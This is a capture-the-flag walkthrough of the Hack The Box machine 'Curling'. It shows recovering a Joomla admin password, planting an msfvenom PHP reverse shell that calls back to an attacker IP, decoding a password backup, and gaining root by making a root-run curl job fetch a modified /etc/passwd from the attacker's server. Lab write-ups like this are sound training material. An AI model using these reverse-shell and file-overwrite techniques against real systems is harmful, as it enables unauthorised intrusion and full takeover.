Categories:

Tags:
Area of Interest:
Categories:
Languages:
Vulnerabilities:



About

Curling is an Easy difficulty Linux box which requires a fair amount of enumeration. The password is saved in a file on the web root. The username can be download through a post on the CMS which allows a login. Modifying the php template gives a shell. Finding a hex dump and reversing it gives a user shell. On enumerating running processes a cron is discovered which can be exploited for root.

Enumeration

Running the script portscan.sh reveals 2 attack vectors, SSH and HTTP.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ sudo portscan.sh 10.129.47.60

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ cat PortScan\(10.129.47.60\)

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Exploitation

HTTP

Checking the index page shows a blog site with 3 posts.

From one of the posts, I’m able to find a username floris.

Moreover, from the source page, I’m able to find a comment that mentions a file secret.txt.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl -s http://10.129.47.60 | grep -oE '<!--.*-->'
<!--[if lt IE 9]><script src="/media/jui/js/html5.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
<!--[if lt IE 9]><script src="/media/system/js/polyfill.event.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
<!-- Body -->
<!-- Header -->
<!-- Begin Content -->
<!-- End Content -->
<!-- Begin Right Sidebar -->
<!-- End Right Sidebar -->
<!-- Footer -->
<!-- secret.txt -->

The contents of secret.txt is a base64 encoded text, which when decoded reveals a potential password Curling2018!.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl http://10.129.47.60/secret.txt
Q3VybGluZzIwMTgh

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl -s http://10.129.47.60/secret.txt | base64 -d
Curling2018!

In order to find a place to test the username and password, I’ll perform a directory enumeration. Running gobuster reveals a directory administrator which seems interesting.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ gobuster dir -u http://10.129.47.60 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -f -t 32
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.47.60
[+] Method:                  GET
[+] Threads:                 32
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Add Slash:               true
[+] Timeout:                 10s
===============================================================
2023/10/30 23:40:14 Starting gobuster in directory enumeration mode
===============================================================
/templates/           (Status: 200) [Size: 31]
/media/               (Status: 200) [Size: 31]
/icons/               (Status: 403) [Size: 276]
/images/              (Status: 200) [Size: 31]
/modules/             (Status: 200) [Size: 31]
/bin/                 (Status: 200) [Size: 31]
/plugins/             (Status: 200) [Size: 31]
/includes/            (Status: 200) [Size: 31]
/language/            (Status: 200) [Size: 31]
/components/          (Status: 200) [Size: 31]
/cache/               (Status: 200) [Size: 31]
/libraries/           (Status: 200) [Size: 31]
/tmp/                 (Status: 200) [Size: 31]
/layouts/             (Status: 200) [Size: 31]
/administrator/       (Status: 200) [Size: 5107]
/cli/                 (Status: 200) [Size: 31]
/server-status/       (Status: 403) [Size: 276]
===============================================================
2023/10/30 23:55:40 Finished
===============================================================

Checking the directory administrator shows a login page for Joomla!.

With the credential floris:Curling2018!, I’m able to access the administrator dashboard.

To gain a reverse shell using the privilege gained, I’ll first create a PHP reverse shell payload using msfvenom.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.16.9 LPORT=4444 -f raw -o exploit.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1111 bytes
Saved as: exploit.php

Next, I’ll access CONFIGURATION > Templates > Protostar > error.php to edit error.php from the template Protostar.

After modifying the content with the reverse shell payload, I’ll click Save. Next, by accessing the overwritten script, I’m able to trigger the reverse shell and gain a shell as the user www-data.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ curl -s http://10.129.47.60/templates/protostar/error.php > /dev/null
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD php/meterpreter/reverse_tcp; set LHOST 10.10.16.9; set LPORT 4444; run'
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
LHOST => 10.10.16.9
LPORT => 4444
[*] Started reverse TCP handler on 10.10.16.9:4444
[*] Sending stage (39927 bytes) to 10.129.47.60
[*] Meterpreter session 1 opened (10.10.16.9:4444 -> 10.129.47.60:36542) at 2023-10-31 01:56:50 -0400

meterpreter > getuid
Server username: www-data

Lateral Movement

After a bit of enumeration, I’m able to find a file password_backup which seems to be a hexdump.

cat /home/floris/password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000  BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34  ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960  N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000   ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800  ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034  ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0  i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78  .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931  .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22  .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290  ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503  .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843  7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c  .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090  .G.. .U@r..rE8P.
000000f0: 819b bb48                                ...H

After reverting the hexdump into a file and continously decompressing the file, I’m able to extract password.txt which contains a password 5d<wdCbdZu)|hChXll.

xxd -r /home/floris/password_backup | file -
/dev/stdin: bzip2 compressed data, block size = 900k

xxd -r /home/floris/password_backup | bzip2 -d - | file -
/dev/stdin: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix

xxd -r /home/floris/password_backup | bzip2 -d - | gzip -d - | file -
/dev/stdin: bzip2 compressed data, block size = 900k

xxd -r /home/floris/password_backup | bzip2 -d - | gzip -d - | bzip2 -d - | file -
/dev/stdin: POSIX tar archive (GNU)

xxd -r /home/floris/password_backup | bzip2 -d - | gzip -d - | bzip2 -d - | tar xvf -
password.txt

cat /var/www/html/templates/protostar/password.txt
5d<wdCbdZu)|hChXll

With the credential floris:5d<wdCbdZu)|hChXll, I’m able to gain a shell as the user floris.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ sshpass -p '5d<wdCbdZu)|hChXll' ssh floris@10.129.47.60
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-156-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Oct 31 06:10:46 UTC 2023

  System load:  0.0               Processes:            175
  Usage of /:   62.3% of 3.87GB   Users logged in:      0
  Memory usage: 21%               IP address for ens33: 10.129.47.60
  Swap usage:   0%


0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Wed Sep  8 11:42:07 2021 from 10.10.14.15
floris@curling:~$ id
uid=1000(floris) gid=1004(floris) groups=1004(floris)

Privilege Escalation

With some enumeration, I’m able to find a directory admin-area which contains 2 files input and report.

floris@curling:~$ ls -al /home/floris/admin-area
total 28
drwxr-x--- 2 root   floris  4096 Aug  2  2022 .
drwxr-xr-x 6 floris floris  4096 Aug  2  2022 ..
-rw-rw---- 1 root   floris    25 Oct 31 06:11 input
-rw-rw---- 1 root   floris 14236 Oct 31 06:12 report

Based on the contents of the 2 files, it seems like the contents of the address specified in the url parameter in the input file is saved in report.

floris@curling:~$ cat /home/floris/admin-area/input
url = "http://127.0.0.1"
floris@curling:~$ cat /home/floris/admin-area/report
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
	<meta name="viewport" content="width=device-width, initial-scale=1.0" />
	<meta charset="utf-8" />
	<base href="http://127.0.0.1/" />
	<meta name="description" content="best curling site on the planet!" />
	<meta name="generator" content="Joomla! - Open Source Content Management" />
	<title>Home</title>
	<link href="/index.php?format=feed&amp;type=rss" rel="alternate" type="application/rss+xml" title="RSS 2.0" />
	<link href="/index.php?format=feed&amp;type=atom" rel="alternate" type="application/atom+xml" title="Atom 1.0" />
	<link href="/templates/protostar/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
	<link href="/templates/protostar/css/template.css?b6bf078482bc6a711b54fa9e74e19603" rel="stylesheet" />
	<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />
	<style>

	h1, h2, h3, h4, h5, h6, .site-title {
		font-family: 'Open Sans', sans-serif;
	}
	</style>
	<script type="application/json" class="joomla-script-options new">{"csrf.token":"349bfd3ffc1696fbbf2e87fe16900700","system.paths":{"root":"","base":""},"system.keepalive":{"interval":840000,"uri":"\/index.php\/component\/ajax\/?format=json"}}</script>
	<script src="/media/jui/js/jquery.min.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<script src="/media/jui/js/jquery-noconflict.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<script src="/media/jui/js/jquery-migrate.min.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<script src="/media/system/js/caption.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<script src="/media/jui/js/bootstrap.min.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<script src="/templates/protostar/js/template.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<!--[if lt IE 9]><script src="/media/jui/js/html5.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
	<script src="/media/system/js/core.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<!--[if lt IE 9]><script src="/media/system/js/polyfill.event.js?b6bf078482bc6a711b54fa9e74e19603"></script><![endif]-->
	<script src="/media/system/js/keepalive.js?b6bf078482bc6a711b54fa9e74e19603"></script>
	<script>
jQuery(window).on('load',  function() {
				new JCaption('img.caption');
jQuery(function($){ initTooltips(); $("body").on("subform-row-add", initTooltips); function initTooltips (event, container) { container = container || document;$(container).find(".hasTooltip").tooltip({"html": true,"container": "body"});} });
	</script>

</head>
<body class="site com_content view-featured no-layout no-task itemid-101">
	<!-- Body -->
	<div class="body" id="top">
		<div class="container">
			<!-- Header -->
			<header class="header" role="banner">
				<div class="header-inner clearfix">
					<a class="brand pull-left" href="/">
						<span class="site-title" title="Cewl Curling site!">Cewl Curling site!</span>											</a>
					<div class="header-search pull-right">

					</div>
				</div>
			</header>

			<div class="row-fluid">
								<main id="content" role="main" class="span9">
					<!-- Begin Content -->

					<div id="system-message-container">
	</div>

					<div class="blog-featured" itemscope itemtype="https://schema.org/Blog">
<div class="page-header">
	<h1>
	Home	</h1>
</div>

<div class="items-leading clearfix">
			<div class="leading-0 clearfix"
			itemprop="blogPost" itemscope itemtype="https://schema.org/BlogPosting">


	<h2 class="item-title" itemprop="headline">
			<a href="/index.php/2-uncategorised/3-what-s-the-object-of-curling" itemprop="url">
			What's the object of curling?		</a>
		</h2>



<div class="icons">

					<div class="btn-group pull-right">
				<button class="btn dropdown-toggle" type="button" id="dropdownMenuButton-3" aria-label="User tools"
				data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
					<span class="icon-cog" aria-hidden="true"></span>
					<span class="caret" aria-hidden="true"></span>
				</button>
								<ul class="dropdown-menu" aria-labelledby="dropdownMenuButton-3">
											<li class="print-icon"> <a href="/index.php/2-uncategorised/3-what-s-the-object-of-curling?tmpl=component&amp;print=1" title="Print article < What&#039;s the object of curling? >" onclick="window.open(this.href,'win2','status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no'); return false;" rel="nofollow">			<span class="icon-print" aria-hidden="true"></span>
		Print	</a> </li>
																			</ul>
			</div>

	</div>



			<dl class="article-info muted">


			<dt class="article-info-term">
									Details							</dt>

							<dd class="createdby" itemprop="author" itemscope itemtype="https://schema.org/Person">
					Written by <span itemprop="name">Super User</span>	</dd>


										<dd class="category-name">
																		Category: <a href="/index.php/2-uncategorised" itemprop="genre">Uncategorised</a>							</dd>

										<dd class="published">
				<span class="icon-calendar" aria-hidden="true"></span>
				<time datetime="2018-05-22T18:54:21+00:00" itemprop="datePublished">
					Published: 22 May 2018				</time>
			</dd>



										<dd class="hits">
					<span class="icon-eye-open" aria-hidden="true"></span>
					<meta itemprop="interactionCount" content="UserPageVisits:4" />
					Hits: 4			</dd>						</dl>



<p>Good question. First, let's get a bit of the jargon down. The playing surface in curling is called "the sheet."

In order to check which tool is used to crawl the URL specified, I’ll overwrite the contents of the input file for it to read the contents from the web server hosted on the C2 server.

floris@curling:~$ echo 'url = "http://10.10.16.9:8000"' > /home/floris/admin-area/input

From the HTTP request header sent, we can check that the target is using curl to access web pages.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ nc -s 10.10.16.9 -nlvp 8000
listening on [10.10.16.9] 8000 ...
connect to [10.10.16.9] from (UNKNOWN) [10.129.47.60] 41392
GET / HTTP/1.1
Host: 10.10.16.9:8000
User-Agent: curl/7.58.0
Accept: */*

Based on this knowledge and the format of the file input, I’m able to find that the input file is used as a Config file. To check if this is indeed the case, I’ll overwrite the input file to make it write the result to /home/floris/admin-area/output instead of report.

floris@curling:~$ cat > /home/floris/admin-area/input << EOF
> url = "http://127.0.0.1"
> output = "/home/floris/admin-area/output"
> EOF

After some waiting, we can find that a new file output has been created, confirming that the input file is indeed a Config file for curl. Not only that, based on the owner and the group of the created file, we can assume that the daemon is running as root. If the daemon is running as root, I’ll be able to overwrite any files on the system by setting the parameter output accordingly.

floris@curling:~$ ls -al /home/floris/admin-area
total 44
drwxr-x--- 2 root   floris  4096 Oct 31 06:26 .
drwxr-xr-x 6 floris floris  4096 Aug  2  2022 ..
-rw-rw---- 1 root   floris    25 Oct 31 06:26 input
-rw-r--r-- 1 root   root   14236 Oct 31 06:26 output
-rw-rw---- 1 root   floris 14236 Oct 31 06:25 report

With enough knowledge gained, I’ll download the file /etc/passwd from the server and modify the password for root to pwn.

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ sshpass -p '5d<wdCbdZu)|hChXll' scp floris@10.129.47.60:/etc/passwd passwd

┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ ex "+set nobackup nowritebackup" "+%s/^root:[^:]\+:/root:$(openssl passwd -salt root -1 pwn):/" -scwq passwd

Next, I’ll setup a HTTP server and change the input file so that the daemon downloads the modified passwd file and overwrites /etc/passwd with the downloaded content. After some waiting, a HTTP request is made from the target.

floris@curling:~$ cat > /home/floris/admin-area/input << EOF
> url = "http://10.10.16.9:8000/passwd"
> output = "/etc/passwd"
> EOF
┌──(m0nk3y@kali)-[~/HTB/Curling]
└─$ python3 -m http.server --bind 10.10.16.9
Serving HTTP on 10.10.16.9 port 8000 (http://10.10.16.9:8000/) ...
10.129.47.60 - - [31/Oct/2023 02:31:09] "GET /passwd HTTP/1.1" 200 -

Finally, by switching to the super user with the updated password, I’m able to gain a shell as the user root.

floris@curling:~$ su
Password:

root@curling:/home/floris# id
uid=0(root) gid=0(root) groups=0(root)

Post Exploitation

With the shell acquired, I’m able to read the flags user.txt and root.txt.

root@curling:/home/floris# cat /home/floris/user.txt
a4d3c161996b08973293774498ed69f1

root@curling:/home/floris# cat /root/root.txt
7790aedd297568b91e114244f001e1c5